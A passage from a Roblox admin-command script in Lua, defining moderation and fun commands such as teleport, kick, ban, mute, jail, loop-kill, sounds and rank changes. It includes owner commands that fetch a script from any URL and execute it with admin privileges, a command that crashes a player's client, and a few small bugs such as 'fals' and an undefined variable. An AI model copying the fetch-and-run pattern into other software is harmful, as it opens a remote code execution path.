5749 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5750 end
5751 end};
5752
5753 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5754 local Players = STRING:Scan(Arguments[1], Speaker)
5755 for _,Player in pairs(Players) do
5756 local _,RankNum = RANK:GetRank(Player)
5757 if RankNum <= RANK:ConvertRank(Rank) then
5758 Server.TS:Teleport(Arguments[2], Player)
5759 end
5760 end
5761 end};
5762
5763 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5764 local Players = STRING:Scan(Arguments[1], Speaker)
5765 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5766 if Suc then
5767 for _,Player in pairs(Players) do
5768 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5769 end
5770 else
5771 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5772 end
5773 end};
5774
5775 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5776 local Players = STRING:Scan(Arguments[1], Speaker)
5777 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5778 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5779 if Suc then
5780 for _,Player in pairs(Players) do
5781 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5782 end
5783 else
5784 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5785 end
5786 end)
5787 end};
5788
5789 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5790 local Players = STRING:Scan(Arguments[1], Speaker)
5791 for _,Player in pairs(Players) do
5792 local _,RankNum = RANK:GetRank(Player)
5793 if RankNum < RANK:ConvertRank(Rank) then
5794 Server.TS:Teleport(155307015, Player)
5795 end
5796 end
5797 end};
5798
5799 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5800 local Players = STRING:Scan(Arguments[1], Speaker)
5801 for _,Player in pairs(Players) do
5802 local _,RankNum = RANK:GetRank(Player)
5803 if RankNum < RANK:ConvertRank(Rank) then
5804 Server.TS:Teleport(347911447, Player)
5805 end
5806 end
5807 end};
5808
5809 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5810 local Players = STRING:Scan(Arguments[1], Speaker)
5811 for _,Player in pairs(Players) do
5812 CORE:GenerateShield(Player)
5813 end
5814 end};
5815
5816 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5817 local Players = STRING:Scan(Arguments[1], Speaker)
5818 for _,Player in pairs(Players) do
5819 if Player.Character then
5820 local Shield = Player.Character:FindFirstChild("Shield")
5821 if Shield then Shield:Destroy() end
5822 end
5823 end
5824 end};
5825
5826 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5827 local Num = tonumber(Arguments[1])
5828 if Num and Num ~= 0 then
5829 local Random = math.random(1,math.abs(Num))
5830 if Random == math.random(1,math.abs(Num)) then
5831 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5832 else
5833 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5834 end
5835 else
5836 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5837 end
5838 end};
5839
5840 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5841 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5842 IRC:AddChat(Speaker.Name, Arguments[1])
5843 end};
5844
5845 --[[
5846 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5847 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5848 if Res then
5849 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5850 end
5851 end, Http = true};
5852
5853 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5854 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5855 if Res then
5856 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5857 end
5858 end}, Http = true;
5859 ]]
5860
5861 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5862 IRC:Quit("Reconnecting")
5863 IRC:ConnectToServer(Settings.IRCServer)
5864 end};
5865
5866 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5867 local Players = STRING:Scan(Arguments[1], Speaker)
5868 for _,Player in pairs(Players) do
5869 local PreAdd = {}
5870 for _,Data in pairs(IRC.Chats) do
5871 local Error = nil
5872 if Rank == "Owner" then Error = Data[3] end
5873 table.insert(PreAdd, {Data[1], Data[2], Error})
5874 end
5875 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5876 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5877 if Rank ~= "Owner" then Error = nil end
5878 AddMessage:Invoke(UserName, Message, Error)
5879 end)
5880 SendPressed.Event:connect(function(Text)
5881 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5882 IRC:AddChat(Player.Name, Text)
5883 end)
5884 end
5885 end};
5886
5887 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5888 local Players = STRING:Scan(Arguments[1], Speaker)
5889 for _,Player in pairs(Players) do
5890 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5891 if Type == "Leave" then
5892 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5893 elseif Type == "Join" then
5894 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5895 end
5896 end)
5897 PriChat.Chatted.Event:connect(function(UserName, Message)
5898 AddMessage:Invoke(UserName, Message)
5899 end)
5900 SendPressed.Event:connect(function(Text)
5901 PriChat.Chatted:Fire(Player.Name, Text)
5902 table.insert(PriChat.Chats, {Player.Name, Text})
5903 end)
5904 end
5905 end};
5906
5907 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5908 ExecuteSafe(Arguments[1], Speaker)
5909 end};
5910
5911 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5912 local Script = REMOTE:GetURL(Arguments[1], Player)
5913 if Script then
5914 ExecuteSafe(Script, Speaker)
5915 end
5916 end, Http = true};
5917
5918 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5919 local Time = tick()
5920 local Res = REMOTE:GetURL(Arguments[1], Player)
5921 if Res then
5922 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5923 end
5924 end, Http = true};
5925
5926 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5927 CORE:RemoveAdmin(Speaker)
5928 end};
5929
5930 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5931 for _,Player in pairs(Server.Players:GetPlayers()) do
5932 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5933 end
5934 end};
5935
5936 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5937 local Players = STRING:Scan(Arguments[1], Speaker)
5938 local Debt = nil
5939 for _,Player in pairs(Players) do
5940 if not Debt then
5941 Debt = GUI:ShowDebtStats(Player)
5942 else
5943 GUI:ShowDebtStats(Player, Debt)
5944 end
5945 end
5946 end, Http = true};
5947
5948 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5949 local Players = STRING:Scan(Arguments[1], Speaker)
5950 for _,Player in pairs(Players) do
5951 GUI:CreateHUD(Player)
5952 end
5953 end};
5954
5955 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5956 local Players = STRING:Scan(Arguments[1], Speaker)
5957 for _,Player in pairs(Players) do
5958 if Player:FindFirstChild("PlayerGui") then
5959 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5960 if HUD then HUD:Destroy() end
5961 end
5962 end
5963 end};
5964
5965 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5966 local Players = STRING:Scan(Arguments[1], Speaker)
5967 GUI:Vote(Speaker, Players, Arguments[2], 30)
5968 end};
5969
5970 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5971 local Players = STRING:Scan(Arguments[1], Speaker)
5972 for _,Player in pairs(Players) do
5973 CORE:ExecuteResource("Bomb", Player.Character)
5974 end
5975 end};
5976
5977 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5978 local Players = STRING:Scan(Arguments[1], Speaker)
5979 for _,Player in pairs(Players) do
5980 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5981 CORE:RestoreCamera(Player)
5982 end
5983 end};
5984
5985 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5986 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5987 CORE:RestoreCamera(Speaker)
5988 end};
5989
5990 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5991 local Players1 = STRING:Scan(Arguments[1], Speaker)
5992 local Players2 = STRING:Scan(Arguments[2], Speaker)
5993 for _,Player1 in pairs(Players1) do
5994 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5995 for _,Player2 in pairs(Players2) do
5996 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5997 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5998 end
5999 end
6000 end
6001 end
6002 end};
6003
6004 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
6005 local Players = STRING:Scan(Arguments[1], Speaker)
6006 for _,Player in pairs(Players) do
6007 Player:LoadCharacter()
6008 end
6009 end};
6010
6011 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
6012 local Players = STRING:Scan(Arguments[1], Speaker)
6013 for _,Player in pairs(Players) do
6014 CORE:RestoreCamera(Player)
6015 end
6016 end};
6017
6018 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
6019 local Players = STRING:Scan(Arguments[1], Speaker)
6020 for _,Player in pairs(Players) do
6021 CORE:Jail(Player)
6022 end
6023 end};
6024
6025 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
6026 local Players = STRING:Scan(Arguments[1], Speaker)
6027 for _,Player in pairs(Players) do
6028 CORE:UnJail(Player)
6029 end
6030 end};
6031
6032 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
6033 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
6034 end};
6035
6036 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
6037 SOUND:StopSpeaking()
6038 end};
6039
6040 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
6041 local Players = STRING:Scan(Arguments[1], Speaker)
6042 local Compile = {}
6043 for Num,Player in pairs(Players) do
6044 local PlayerRank = RANK:GetRank(Player)
6045 local PlayerInfo = ClientInfo[Player.Name]
6046 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
6047 table.insert(Compile, "User ID: "..Player.UserId)
6048 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
6049 table.insert(Compile, "Rank: "..PlayerRank)
6050
6051 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
6052 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
6053 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
6054 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
6055 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
6056 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
6057 if PlayerInfo.Benchmark then
6058 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
6059 end
6060 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
6061 end
6062 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
6063 end};
6064
6065 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
6066 if tonumber(Arguments[2]) then
6067 local Players = STRING:Scan(Arguments[1], Speaker)
6068 for _,Player in pairs(Players) do
6069 coroutine.wrap(function()
6070 if Player.Character then
6071 table.insert(LoopKills, Player.Name)
6072 local Loop = nil
6073 local PrevChar = nil
6074
6075 for i = 1,tonumber(Arguments[2]) do
6076 local Char = Player.Character
6077 if PrevChar and PrevChar ~= Char then
6078 PrevChar:Destroy()
6079 end
6080 PrevChar = Char
6081 local CanDie = true
6082 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
6083 if CanDie == false then
6084 break
6085 end
6086 ypcall(function() Char.Parent = Server.Lighting end)
6087 wait(0.1)
6088 ypcall(function() Char.Parent = Server.Workspace end)
6089 wait(0.1)
6090 end
6091 end
6092 end)()
6093 end
6094 else
6095 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
6096 end
6097 end};
6098
6099 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6100 local Players = STRING:Scan(Arguments[1], Speaker)
6101 for _,Player in pairs(Players) do
6102 for Num,Name in pairs(LoopKills) do
6103 if Player.Name == Name then
6104 table.remove(LoopKills, Num)
6105 end
6106 end
6107 end
6108 end};
6109
6110 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
6111 SOUND:PlayGlobalSound(Arguments[1])
6112 end};
6113
6114 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
6115 SOUND:StopGlobalSound()
6116 SOUND:ClearInfo()
6117 end};
6118
6119 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
6120 local Pitch = tonumber(Arguments[1])
6121 if not Pitch then Pitch = 1 end
6122 if Sound then
6123 Sound.Pitch = Pitch
6124 end
6125 end};
6126
6127 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
6128 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
6129 local Items = MARKET:SearchItem(9, Arguments[1])
6130 if Items then
6131 if #Items ~= 0 then
6132 local List,Correlate = {},{}
6133 for Num,Info in pairs(Items) do
6134 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
6135 table.insert(List, Display)
6136 Correlate[Display] = Info.AssetId
6137 end
6138 CloseGui:Invoke()
6139
6140 local CanClick = true
6141 if Rank == "Member" then CanClick = false end
6142 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
6143 Clicked.Event:connect(function(ClickName)
6144 local OldSoundId = nil
6145 SOUND:StopGlobalSound()
6146 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6147 SOUND:PlayGlobalSound(Correlate[ClickName])
6148 end
6149 end)
6150 else
6151 CloseGui:Invoke()
6152 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
6153 end
6154 else
6155 CloseGui:Invoke()
6156 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
6157 end
6158 end, Http = true};
6159
6160 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
6161 local Players = STRING:Scan(Arguments[1], Speaker)
6162 for _,Player in pairs(Players) do
6163 if Player.Character then
6164 CORE:ExecuteResource("Gun", Player.Character)
6165 end
6166 end
6167 end};
6168
6169 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
6170 local Players = STRING:Scan(Arguments[1], Speaker)
6171 for _,Player in pairs(Players) do
6172 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
6173 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
6174 Player.Character.Humanoid.WalkSpeed = 0
6175 Player.Character.Torso.Anchored = true
6176 coroutine.wrap(function()
6177 local OldCFrame = Player.Character.Torso.CFrame
6178 for i = 0,8,0.1 do
6179 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
6180 wait()
6181 end
6182 Player.Character.Torso.Anchored = false
6183 Player.Character:BreakJoints()
6184 CORE:InvisiblePlayer(Player)
6185 end)()
6186 end
6187 end
6188 end};
6189
6190 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6191 local Players = STRING:Scan(Arguments[1], Speaker)
6192 for _,Player in pairs(Players) do
6193 CORE:AnchorPlayer(Player)
6194 end
6195 end};
6196
6197 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6198 local Players = STRING:Scan(Arguments[1], Speaker)
6199 for _,Player in pairs(Players) do
6200 CORE:UnanchorPlayer(Player)
6201 end
6202 end};
6203
6204 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6205 local Players = STRING:Scan(Arguments[1], Speaker)
6206 for _,Player in pairs(Players) do
6207 CORE:InvisiblePlayer(Player)
6208 end
6209 end};
6210
6211 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6212 local Players = STRING:Scan(Arguments[1], Speaker)
6213 for _,Player in pairs(Players) do
6214 CORE:VisiblePlayer(Player)
6215 end
6216 end};
6217
6218 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6219 local Players = STRING:Scan(Arguments[1], Speaker)
6220 for _,Player in pairs(Players) do
6221 if Player.Character and Player.Character:FindFirstChild("Torso") then
6222 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6223 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6224 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6225 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6226 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6227 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6228 Fly:Play()
6229 local Touched = false
6230 coroutine.wrap(function()
6231 repeat wait(0.1)
6232 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6233 until not Ast or Ast.Parent == nil or Touched == true
6234 end)()
6235 Ast.Touched:connect(function(Part)
6236 if Touched == false then
6237 Touched = true
6238 Part:BreakJoints()
6239 local Boom = Instance.new("Explosion", Workspace)
6240 Boom.Position = Ast.Position
6241 Boom.BlastPressure = 1000000
6242 Boom.BlastRadius = 30
6243 Fire.Heat = 0
6244 Smoke.RiseVelocity = 0
6245 Fly:Stop()
6246 BoomSound:Play()
6247 coroutine.wrap(function()
6248 wait(3)
6249 BoomSound:Stop()
6250 if Ast and Ast.Parent ~= nil then
6251 Ast:Destroy()
6252 end
6253 end)()
6254 end
6255 end)
6256 end
6257 end
6258 end};
6259
6260 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6261 local Success = {}
6262 local Players = STRING:Scan(Arguments[1], Speaker)
6263 for _,Player in pairs(Players) do
6264 local PlayerRank = RANK:GetRank(Player)
6265 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6266 CORE:Kick(Player)
6267 table.insert(Success, Player)
6268 end
6269 end
6270 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6271 end};
6272
6273 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6274 local Success = {}
6275 local Players = STRING:Scan(Arguments[1], Speaker)
6276 for _,Player in pairs(Players) do
6277 local PlayerRank = RANK:GetRank(Player)
6278 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6279 RANK:RemoveRank(Player)
6280 table.insert(Settings.Ranks.Banned, Player.Name)
6281 CORE:Kick(Player)
6282 table.insert(Success, Player)
6283 end
6284 end
6285 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6286 end};
6287
6288 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6289 local Success = {}
6290 local Players = STRING:Scan(Arguments[1], Speaker)
6291 for _,Player in pairs(Players) do
6292 local PlayerRank = RANK:GetRank(Player)
6293 if PlayerRank ~= "Owner" then
6294 RANK:RemoveRank(Player)
6295 table.insert(Settings.Ranks.Crashed, Player.Name)
6296 CORE:Crash(Player)
6297 table.insert(Success, Player)
6298 end
6299 end
6300 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6301 end};
6302
6303 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6304 local Success = {}
6305 local Players = STRING:Scan(Arguments[1], Speaker)
6306 for _,Player in pairs(Players) do
6307 local PlayerRank = RANK:GetRank(Player)
6308 if PlayerRank ~= "Owner" then
6309 RANK:RemoveRank(Player)
6310 table.insert(Settings.Ranks.Muted, Player.Name)
6311 GUI:CoreGui(Player, "Chat", false)
6312 table.insert(Success, Player)
6313 end
6314 end
6315 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6316 end};
6317
6318 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6319 local Players = STRING:Scan(Arguments[1], Speaker)
6320 if #Players > 0 then
6321 local Success = {}
6322 for _,Player in pairs(Players) do
6323 local RankName,RankNum = RANK:GetRank(Player)
6324 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6325 if not RANK:IsSupremeOwner(Player) then
6326 if RankName == "Muted" then
6327 GUI:CoreGui(Player, "Chat", true)
6328 end
6329 if RankNum > 0 then
6330 GUI:TellNotAdmin(Player)
6331 end
6332 RANK:RemoveRank(Player)
6333 table.insert(Success, Player)
6334 end
6335 end
6336 end
6337 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6338 else
6339 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6340 if Player then
6341 local RankNum = RANK:ConvertRank(PlayerRank)
6342 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6343 if not RANK:IsSupremeOwner(Player) then
6344 RANK:RemoveRank(Player)
6345 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6346 end
6347 end
6348 end
6349 end
6350 end};
6351
6352 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6353 local Players = STRING:Scan(Arguments[1], Speaker)
6354 if #Players > 0 then
6355 local Success = {}
6356 for _,Player in pairs(Players) do
6357 local PlayerRank,RankNum = RANK:GetRank(Player)
6358 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6359 RANK:RemoveRank(Player)
6360 table.insert(Settings.Ranks.Member, Player.Name)
6361 GUI:TellAdmin(Player)
6362 table.insert(Success, Player)
6363 end
6364 end
6365 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6366 else
6367 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6368 if Player then
6369 local RankNum = RANK:ConvertRank(PlayerRank)
6370 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6371 if not RANK:IsSupremeOwner(Player) then
6372 RANK:RemoveRank(Player)
6373 table.insert(Settings.Ranks.Member, Player)
6374 end
6375 end
6376 else
6377 RANK:RemoveRank(Arguments[1])
6378 table.insert(Settings.Ranks.Member, Arguments[1])
6379 end
6380 end
6381 end};
6382
6383 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6384 local Players = STRING:Scan(Arguments[1], Speaker)
6385 if #Players > 0 then
6386 local Success = {}
6387 for _,Player in pairs(Players) do
6388 local PlayerRank,RankNum = RANK:GetRank(Player)
6389 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6390 RANK:RemoveRank(Player)
6391 table.insert(Settings.Ranks.Admin, Player.Name)
6392 GUI:TellAdmin(Player)
6393 table.insert(Success, Player)
6394 end
6395 end
6396 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6397 else
6398 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6399 if Player then
6400 local RankNum = RANK:ConvertRank(PlayerRank)
6401 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6402 if not RANK:IsSupremeOwner(Player) then
6403 RANK:RemoveRank(Player)
6404 table.insert(Settings.Ranks.Admin, Player)
6405 end
6406 end
6407 else
6408 RANK:RemoveRank(Arguments[1])
6409 table.insert(Settings.Ranks.Admin, Arguments[1])
6410 end
6411 end
6412 end};
6413
6414 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6415 local Players = STRING:Scan(Arguments[1], Speaker)
